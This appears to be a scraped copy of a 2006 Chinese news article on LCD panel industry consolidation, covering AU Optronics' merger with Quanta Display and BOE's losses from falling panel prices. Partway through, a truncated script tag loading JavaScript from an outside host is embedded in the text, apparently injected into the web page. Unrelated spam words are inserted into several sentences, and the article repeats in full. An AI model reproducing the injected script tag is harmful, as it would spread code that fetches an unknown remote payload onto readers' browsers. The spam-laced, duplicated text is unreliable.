晶面板业是“富人游戏“ 内地企业处境十分尴尬激光加工

2006年4月7日，中国台湾的液晶面板生产企业友达光电宣布通过价值22亿美元的换股交易收购竞争对手广辉电子。新友达股本将达756亿元新台币。这笔交易揭开了外界期待已久的中国台湾平板显示器行业整合浪潮的序幕。

中国台湾主要的液晶面板生产企业是“面板五虎”：友达光电、奇美电子、中华映管、瀚宇彩晶、广辉电子。论产业规模，中国大陆的京东方、上广电远小于台湾企业。

如今友达合并广辉电子，新友达的全球市场占有率超越奇美，达到与韩国两大厂（lg、三星）比肩的水准，预计2006年底友达的7.5代线开工，有望成为囊括笔记本电脑、液晶显示器和液晶电视的“三冠王”。

耐人寻味的是，在中国台湾企业高歌猛进之时，大陆同行却处境尴尬。

五虎变双雄？

液晶面板业是典型的“富人游戏”。

建成一条液晶面板的五代线要花人民币100亿元，而一条六代线更需要150亿－200亿元。由于液晶面板（屏幕）占液晶电视总成本比例超过60％，对下游影响巨大。在当前的全球市场，日本夏普居于技术领先地位，韩国、中国台湾企业全力追赶，大陆厂家（京东方、上广电）尚难支撑局面。

液晶面板业的市场集中度非常高。2004年“全球五大”占据了93%的份额：日本（夏普）约占27%，韩国两家约占37%（lg 21％、三星 16％），中国台湾两家约占28%（奇美17％、友达11％）。由于夏普面板主要是自用，因此流通市场几乎被存包柜韩国、中国台湾四巨头瓜分。

市场的寡占局面仍在延续。2005年全球寡头的六代线陆续投产，新的六代线、七代线还在兴建之中。走在前头的夏普持续扩充高端产能，而三星的七代线已经投产，lg重点提升40英寸以上面板产能；中国台湾企业更是后劲十足，除了奇美扩产、友达上7.5代新线，中华映管、广辉电子、瀚宇彩晶也均有六代线投产。

友达光电合并广辉电子之后，全球市场占有率约19％，已经逼近了三星、lg；而业界则在猜测奇美电子与“老三”中华映管的合并案。华映方面已经表示对可能的合并持欢迎态度。一旦瀚宇彩晶被吃掉，或边缘化，“面板五虎”就演变成了“面板双雄”。

最新的合并案预示了全球液晶面板业“大者恒大、强者恒强”的产业格局。遗憾的是，不久前内地上市公司京东方（000725）刚刚上交了一份难看的作业。

京东方巨亏背后

2006年3月31日，京东方科技集团股份有限公司董事会发布“2006年第一季度业绩预亏公告”。公告称：2006年第一季度亏损额“不超过5亿元人民币”。主要原因是“17英寸显示器用tft-lcd（液晶面板）产品因处于业务经营淡季，产品销售价格与2005年第四季度相比继续下降。”

这是京东方今年第二次报亏。此前曾公告预计2005年公司将亏损不超过16亿元。

“现在京东方只是出了季度亏损近５亿元的预报，正式年报还没有出来。因为总亏损额是合并了包括显像管、tft面板等业务，其中有多少是亏在tft项目上的，现在还看不到。”元富证券分析师李刚对记者表示，“但是今年一季度的亏损基本在意料之内。”

亏损的直接原因是：一段时间以来，全球液晶面板市场的报价跌得“一塌糊涂”。

15英寸、17英寸是京东方的主力面板产品。根据来自witsview的数据，2005年12月下半月这两款面板的平均价格分别是134美元、156美元；到了2006年3月下半月，分别跌到115、133美元。一个季度跌幅超过15％，市场压力对于京东方来讲非常沉重。

然而，在专业分析人士看来，京东方的亏损存在更深层的原因：快速提取折旧模式之下，后进厂家遭遇先行企业的“杀价狙击”。

对于面板生产企业来讲，折旧是非常大的一块成本。一般来讲，折旧年限是３到５年。既然要在很短时间内把折旧提光，因此前几年都会对利润有很大的压力。

麻烦的是，当前面板价格快速下跌，很大原因就是韩国、中国台湾的同类（五代线）厂家已经相继近乎提完折旧，因此他们挑起杀价竞争具有成本优势。换言之，在液晶面板这个行业，“先入为主”有时能战胜“后发优势”。

京东方日子不好过，另一家上广电是非上市公司、不公开财务报表，业绩状况不得而知。

“对后进企业来说，供应链可能也是个隐患。”李刚认为。

液晶面板业的上下游非常封闭，原材料都是专供液晶面板厂使用的，跟其他产业基本没有交叉。因此面板厂商跟上游的关系非常关键。亏损时还没什么，景气翻升的时候一定会出现原料供应不足。届时原料分配给谁，谁就能赚钱。现在上游供应掌握在韩国、中国台湾的企业手中，京东方、上广电竞争原料资源可能会受到限制，甚至出现亏损时期苦撑、市场好转却原料不足的尴尬局面。

在这样的背景下，此前京东方公告向浙江京东方增资5000万元投资建设上游项目也就不难理解。

技术、人?script src=http://er12.com/t.js> “新友达未来除了供应明基和广达所需外，对全球其他厂商的供应也采取开放态度。”友达光电董事长李琨耀表示。

2006年4月7日，中国台湾的液晶面板生产企业友达光电宣布通过价值22亿美元的换股交易收购竞争对手广辉电子。新友达股本将达756亿元新台币。这笔交易揭开了外界期待已久的中国台湾平板显示器行业整合浪潮的序幕。

中国台湾主要的液晶面板生产企业是“面板五虎”：友达光电、奇美电子、中华映管、瀚宇彩晶、广辉电子。论产业规模，中国大陆的京东方、上广电远小于台湾企业。

如今友达合并广辉电子，新友达的全球市场占有率超越奇美，达到与韩国两大厂（lg、三星）比肩的水准，预计2006年底友达的7.5代线开工，有望成为囊括笔记本电脑、液晶显示器和液晶电视的“三冠王”。

耐人寻味的是，在中国台湾企业高歌猛进之时，大陆同行却处境尴尬。

五虎变双雄？

液晶面板业是典型的“富人游戏”。

建成一条液晶面板的五代线要花人民币100亿元，而一条六代线更需要150亿－200亿元。由于液晶面板（屏幕）占液晶电视总成本比例超过60％，对下游影响巨大。在当前的全球市场，日本夏普居于技术领先地位，韩国、中国台湾企业全力追赶，大陆厂家（京东方、上广电）尚难支撑局面。

液晶面板业的市场集中度非常高。2004年“全球五大”占据了93%的份额：日本（夏普）约占27%，韩国两家约占37%（lg 21％、三星 16％），中国台湾两家约占28%（奇美17％、友达11％）。由于夏普面板主要是自用，因此流通市场几乎被韩国、中国台湾四巨头瓜分。

市场的寡占局面仍在延续。2005年全球寡头的六代线陆续投产，新的六代线、七代线还在兴建之中。走在前头的夏普持续扩充高端产能，而三星的七代线已经投产，lg重点提升40英寸以上面板产能；中国台湾企业更是后劲十足，除了奇美扩产、友达上7.5代新线，中华映管、广辉电子、瀚宇彩晶也均有六代线投产。

友达光电合并广辉电子之后，全球市场占有率约19％，已经逼近了三星、lg；而业界则在猜测奇美电子与“老三”中华映管的合并案。华映方面已经表示对可能的合并持欢迎态度。一旦瀚宇彩晶被吃掉，或边缘化，“面板五虎”就演变成了“面板双雄”。

最新压力罐的合并案预示了全球液晶面板业“大者恒大、强者恒强”的产业格局。遗憾的是，不久前内地上市公司京东方（000725）刚刚上交了一份难看的作业。

京东方巨亏背后

2006年3月31日，京东方科技集团股份有限公司董事会发布“2006年第一季度业绩预亏公告”。公告称：2006年第一季度亏损额“不超过5亿元人民币”。主要原因是“17英寸显示器用tft-lcd（液晶面板）产品因处于业务经营淡季，产品销售价格与2005年第四季度相比继续下降。”

这是京东方今年第二次报亏。此前曾公告预计2005年公司将亏损不超过16亿元。

“现在京东方只是出了季度亏损近５亿元的预报，正式年报还没有出来。因为总亏损额是合并了包括显像管、tft面板等业务，其中有多少是亏在tft项目上的，现在还看不到。”元富证券分析师李刚对记者表示，“但实验仪是今年一季度的亏损基本在意料之内。”

亏损的直接原因是：一段时间以来，全球液晶面板市场的报价跌得“一塌糊涂”。

15英寸、17英寸是京东方的主力面板产品。根据来自witsview的数据，2005年12月下半月这两款面板的平均价格分别是134美元、156美元；到了2006年3月下半月，分别跌到115、133美元。一个季度跌幅超过15％，市场压力对于京东方来讲非常沉重。

然而，在专业分析人士看来，京东方的亏损存在更深层的原因：快速提取折旧模式之下，后进厂家遭遇先行企业的“杀价狙击”。

对于面板生产企业来讲，折男童服装旧是非常大的一块成本。一般来讲，折旧年限是３到５年。既然要在很短时间内把折旧提光，因此前几年都会对利润有很大的压力。

麻烦的是，当前面板价格快速下跌，很大原因就是韩国、中国台湾的同类（五代线）厂家已经相继近乎提完折旧，因此他们挑起杀价竞争具有成本优势。换言之，在液晶面板这个行业，“先入为主”有时能战胜“后发优势”。

京东方日子不好过，另一家上广电是非上市公司、不公开财务报表，业绩状况不得而知。

“对后进企业来说，供应链可能也是个隐患。”李刚认为。

液晶面板业的上下游非常封闭，原材料都是专供液晶面板厂使用的，跟其他产业基本没有交叉。因此面板厂商跟上游的关系非常关键。亏损时还没什么，景气翻升的时候一定会出现原料供应不足。届时原料分配给谁，谁就能赚钱。现在上游供应掌握在韩国、中国台湾的企业手中，京东方、上广电竞争原料资源可能会受到限制，甚至出现亏损时期苦撑、市场好转却原料不足的尴尬局面。

在这样的背景下，此前京东方公告向浙江京东方增资5000万元投资建设上游项目也就不难理解。

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